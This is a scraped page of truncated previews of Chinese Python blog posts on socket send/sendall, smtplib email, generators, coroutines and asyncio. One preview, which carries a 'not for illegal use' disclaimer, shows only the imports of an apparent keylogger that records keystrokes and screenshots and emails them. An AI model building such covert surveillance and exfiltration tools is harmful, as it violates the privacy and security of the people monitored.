# -*- coding: utf-8 -*-import jpypeimport os.pathjarpath = os.path.join(os.path.abspath('.'), 'axja')print("=====>jarpath: " , jarpath)# jpype=startJVM("D:/devsoft/ultimate/env/jdk/jdk7/Java17017/jre7/bin/server/jvm.dll", "-ea&…

/*************************************************************************** * python auto send email * 声明: * 本文主要是记录如何使用python的smtplib发邮件,中间遇到授权密码和邮箱 * 密码不同的问题. * * 2016-2-17 深圳 南山平山村 曾剑锋 *************************************************************…

Python中send()和sendall()的区别 估计每个学习Python网络编程的人,都会遇到过这样的问题: send()和sendall()到底有什么区别? send()和sendall()原理是怎么样的? send()和sendall()能做什么事情? 到底是使用send()还是sendall()? 看完下面的文章,应该就能明白了 知识补充 首先会对一些常见的网络编程知识进行补充下: MTU 通信术语 最大传输单元(Maximum Transmission Unit,MTU)是指一种通…

关于Email的预备知识: 原贴地址:http://www.cnblogs.com/lonelycatcher/archive/2012/02/09/2343480.html ######################################################################### 可以使用Python的email模块来实现带有附件的邮件的发送. SMTP (Simple Mail Transfer Protocol) 邮件传送代理 (Mail Trans…

import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的授权码 msg_to='1@qq.com' subject="python邮件测试" #主题 content="这是我使用python smtplib及email模块发送的邮件" msg = MIMEText(content) msg['Subject'] = subj…

请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging import os import smtplib from email.mime.text import MIMEText from PIL import ImageGrab import random from time import * from email.mime.multipart import M…

send 1. yield可以产出值,可以接收值 2. 在调用send发送非none值之前,我们必须启动一次生成器, 方式有两种 a. gen.send(None) b. next(gen) def gen_func(): #1. 可以产出值, 2. 可以接收值(调用方传递进来的值) html = yield 1 print(html) yield 2 yield 3 return "bobby" #1. 生成器不只可以产出值,还可以接收值 if __name__ == "_…

官方文档对socket模式下的socket.send() 和 socket.sendall()解释如下: sock.sendall(string[, flags]) Send data to the socket. The socket must be connected  to a remote socket. The optional flags argument has the same meaning as for recv() above. Unlike send(), this me…

练了几行代码, 慢慢找感觉. TASK,多线程,异步,很多地方都用到的呢. #!/usr/bin/env python # -*- coding: utf-8 -*- import time from contextlib import contextmanager from concurrent.futures import ThreadPoolExecutor class Task: def __init__(self, gen): self._gen = gen def step(self…

本地的进程间通信(IPC)有很多种方式,但可以总结为下面4类: 消息传递(管道.FIFO.消息队列) 同步(互斥量.条件变量.读写锁.文件和写记录锁.信号量) 共享内存(匿名的和具名的) 远程过程调用(Solaris门和Sun RPC) 但这些都不是本文的主题!我们要讨论的是网络中进程之间如何通信?首要解决的问题是如何唯一标识一个进程,否则通信无从谈起!在本地可以通过进程PID来唯一标识一个进程,但是在网络中这是行不通的.其实TCP/IP协议族已经帮我们解决了这个问题,网络层的"ip地址&quo…

-------------------程序运行原理------------------- 1.模块的内建__name__属性,主模块其值为__main__,导入模块其值为模块名     1.创建时间,py文件比pyc文件新,则从新生成pyc.     2.magic num,做运行前版本测试,版本不同重新生成pyc.     3.PyCodeObject对象,源代码中的字符串,常量值,字节码指令,原始代码行号的对应关系.   2.LEGB规则     1.Local :本地         当前…

一.SMTP 协议 SMTP(Simple Mail Transfer Protocol)是简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式 二.smtplib 模块 Python的smptlib模块提供了一种很方便的途径来发送电子邮件.它对SMTP协议进行了简单的封装.们可以使用SMTP对象的sendmail发放发送邮件,首先我们看下此模块重要的方法如何使用 1.connect(self,host='localhost',port=0) host:邮件服…

Python中有两个重要的概念,生成器和迭代器,这里详细记录一下. 1. 生成器 什么是生成器呢? 通过列表生成式,我们可以直接创建一个列表.但是,受到内存限制,列表容量肯定是有限的.而且,创建一个包含100万个元素的列表,不仅占用很大的存储空间,如果我们仅仅需要访问前面几个元素,那后面绝大多数元素占用的空间都白白浪费了.所以,如果列表元素可以按照某种算法推算出来,那我们是否可以在循环的过程中不断推算出后续的元素呢?这样就不必创建完整的list,从而节省大量的空间.在Python中,这种一边循环…

python的网络编程比c语言简单许多, 封装许多底层的实现细节, 方便程序员使用的同时, 也使程序员比较难了解一些底层的东西. 1 TCP/IP 要想理解socket,首先得熟悉一下TCP/IP协议族,TCP/IP(Transmission Control Protocol/Internet Protocol)即传输控制协议/网间协议,定义了主机如何连入因特网及数据如何在它们之间传输的标准,从字面意思来看TCP/IP是TCP和IP协议的合称,但实际上TCP/IP协议是指因特网整个TCP/IP协…

原创作品,转载请注明出处:点我 上一篇文章Python高级编程之生成器(Generator)与coroutine(一):Generator中,我们介绍了什么是Generator,以及写了几个使用Generator Function的示例,这一小节,我们会介绍Python的coroutine,以及会有一个小例子,再接下来的文章中会以代码的形式一步步介绍coroutine的高级用法. coroutine(协程) 什么是coroutine?coroutine跟Generator有什么区别?下面先看一段…

1. 生成器 利用迭代器,我们可以在每次迭代获取数据(通过next()方法)时按照特定的规律进行生成.但是我们在实现一个迭代器时,关于当前迭代到的状态需要我们自己记录,进而才能根据当前状态生成下一个数据.为了达到记录当前状态,并配合next()函数进行迭代使用,我们可以采用更简便的语法,即生成器(generator).生成器是一类特殊的迭代器. 2. 创建生成器方法1 要创建一个生成器,有很多种方法.第一种方法很简单,只要把一个列表生成式的 [ ] 改成 ( ) 3. 创建生成器方法2 gene…

1. 生成器 利用迭代器(迭代器详解python迭代器详解),我们可以在每次迭代获取数据(通过next()方法)时按照特定的规律进行生成.但是我们在实现一个迭代器时,关于当前迭代到的状态需要我们自己记录,进而才能根据当前状态生成下一个数据.为了达到记录当前状态,并配合next()函数进行迭代使用,我们可以采用更简便的语法,即生成器(generator).生成器是一类特殊的迭代器. 2. 创建生成器方法1 要创建一个生成器,有很多种方法.第一种方法很简单,只要把一个列表生成式的 [ ] 改成 (…

Table of Contents 前言 协程 async & await 事件循环 asyncio 的事件循环 结语 参考链接 前言 Python 标准库 asyncio 是我目前接触过的最难理解的 Python 库,它的实现使用了太多我不太熟悉的东西:协程.事件循环.多路 I/O 复用-- 我对这些概念的认识基本都是停留在知道有这么个东西,大概有什么用上,当真的遇到这些东西的使用的时候,就抓了瞎. 然而,运气很好的是,随着协程使用的普及(不只是 Python),现在可以在网上找到很多相关的文…

This is a simple example showing how to use the [Paho MQTT Python client](https://eclipse.org/paho/clients/python/) to send data to Azure IoT Hub. You need to assemble the rights credentials and configure TLS and the MQTT protocol version appropriate…

通过列表生成式,我们可以直接创建一个列表.但是,受到内存限制,列表容量肯定是有限的.而且,创建一个包含100万个元素的列表,不仅占用很大的存储空间,如果我们仅仅需要访问前面几个元素,那后面绝大多数元素占用的空间都白白浪费了.所以,如果列表元素可以按照某种算法推算出来,那我们是否可以在循环的过程中不断推算出后续的元素呢?这样就不必创建完整的list,从而节省大量的空间.在Python中,这种一边循环一边计算的机制,称为生成器:generator. 1.创建生成器方法一 把一个列表生成式的 [ ]…

python的动态性 什么是动态性呢,简单地来说就是可以在运行时可以改变其结构,如:新的函数.对象.代码都可以被引进或者修改,除了Python外,还有Ruby.PHP.javascript等也是动态语言.下面是python中常用动态性 运行的过程中给对象绑定(添加)属性 >>> class Person(object): def __init__(self, name = None, age = None): self.name = name self.age = age >>…

生成器 利用迭代器,我们可以在每次迭代获取数据(通过next()方法)时按照特定的规律进行生成.但是我们在实现一个迭代器时,关于当前迭代到的状态需要我们自己记录,进而才能根据当前状态生成下一个数据. 为了达到记录当前状态,并配合next()函数进行迭代使用,我们可以采用更简便的语法,即生成器(generator).生成器是一类特殊的迭代器. 创建生成器方法1 要创建一个生成器,有很多种方法.第一种方法很简单,只要把一个列表生成式的 [ ] 改成 ( ) >>> L = [x**2 for…

1.列表生成式 Python一种独特的语法,相当于语法糖的存在,可以帮你在某些场合写出比较精简酷炫的代码.但没有它,也不会有太多的影响. 语法糖(Syntactic sugar),也译为糖衣语法,是由英国计算机科学家彼得·约翰·兰达(Peter J. Landin)发明的一个术语,指计算机语言中添加的某种语法,这种语法对语言的功能并没有影响,但是更方便程序员使用.通常来说使用语法糖能够增加程序的可读性,从而减少程序代码出错的机会. 需求:把a=[0,1,2,3,4,5,6,7,8,9]里面的每个…

1.生成器 ----> 1 b = [x*2 for x in range(100000000000)] MemoryError: 想生成一个存放很多数据的列表,但是又不想内存占用太多 每次用一个生成一个,最好 2)列表生成器:生成多个值,每次生成1个 In [29]: c = (x*2 for x in range(10)) In [30]: c Out[30]: <generator object <genexpr> at 0x7f8b5c0c6960> In [31]:…

1.什么是生成器 通过列表生成式,我们可以直接创建一个列表.但是,受到内存限制,列表容量肯定是有限的.而且,创建一个包含100万个元素的列表,不仅占用很大的存储空间,如果我们仅仅需要访问前面几个元素,那后面绝大多数元素占用的空间都白白浪费了.所以,如果列表元素可以按照某种算法推算出来,那我们是否可以在循环的过程中不断推算出后续的元素呢?这样就不必创建完整的list,从而节省大量的空间.在Python中,这种一边循环一边计算的机制,称为生成器:generator. 2.创建生成器方法 方法一 要创…

这个文章理好了脉落. http://python.jobbole.com/86069/ 我练 习了一番,感受好了很多... Python由于众所周知的GIL的原因,导致其线程无法发挥多核的并行计算能力(当然,后来有了multiprocessing,可以实现多进程并行),显得比较鸡肋.既然在GIL之下,同一时刻只能有一个线程在运行,那么对于CPU密集的程序来说,线程之间的切换开销就成了拖累,而以I/O为瓶颈的程序正是协程所擅长的: 多任务并发(非并行),每个任务在合适的时候挂起(发起I/O)和恢复…

生成器对象是一个迭代器.但是它比迭代器对象多了一些方法,它们包括send方法,throw方法和close方法.这些方法,主要是用于外部与生成器对象的交互.本文先介绍send方法. send send方法有一个参数,该参数指定的是上一次被挂起的yield语句的返回值.这样说起来比较抽象,看下面的例子. def MyGenerator(): value = (yield 1) value = (yield value) gen = MyGenerator() print (next(gen))pri…

Python中的协程大概经历了如下三个阶段:1. 最初的生成器变形yield/send2. 引入@asyncio.coroutine和yield from3. 在最近的Python3.5版本中引入async/await关键字一.生成器变形yield/send 普通函数中如果出现了yield关键字,那么该函数就不再是普通函数,而是一个生成器. def mygen(alist):    while len(alist) > 0:        c = randint(0, len(alist)-1)…

C#的yield已经忘得差不多了.又遇到python的yield.iterator def testYield(): print 'yield1' m = yield 1 print 'm =' , m print 'yield2' yield 5 for a in testYield(): print 'test' result = testYield() result.send('test') print list(result) OUTPUT: yield1testm = Noneyiel…

生成器 在python中生成器是指用代码实现迭代器的的功能本质还是迭代器,只不过是代码实现迭代器功能.在python中生成器是由函数实现的,通常我们在函数中加入yeild就可以实现生成器. 生成器中yield #定义一个函数 def func(): print(111) yield 3 print(222) g=func() 运行上面代码你会发现函数根本没有执行,因为此时g是一个生成器对象,生成器是不会自己运行的,需要你调用next方法才会运行,并且每次遇到yield就会停止,继续调用next方…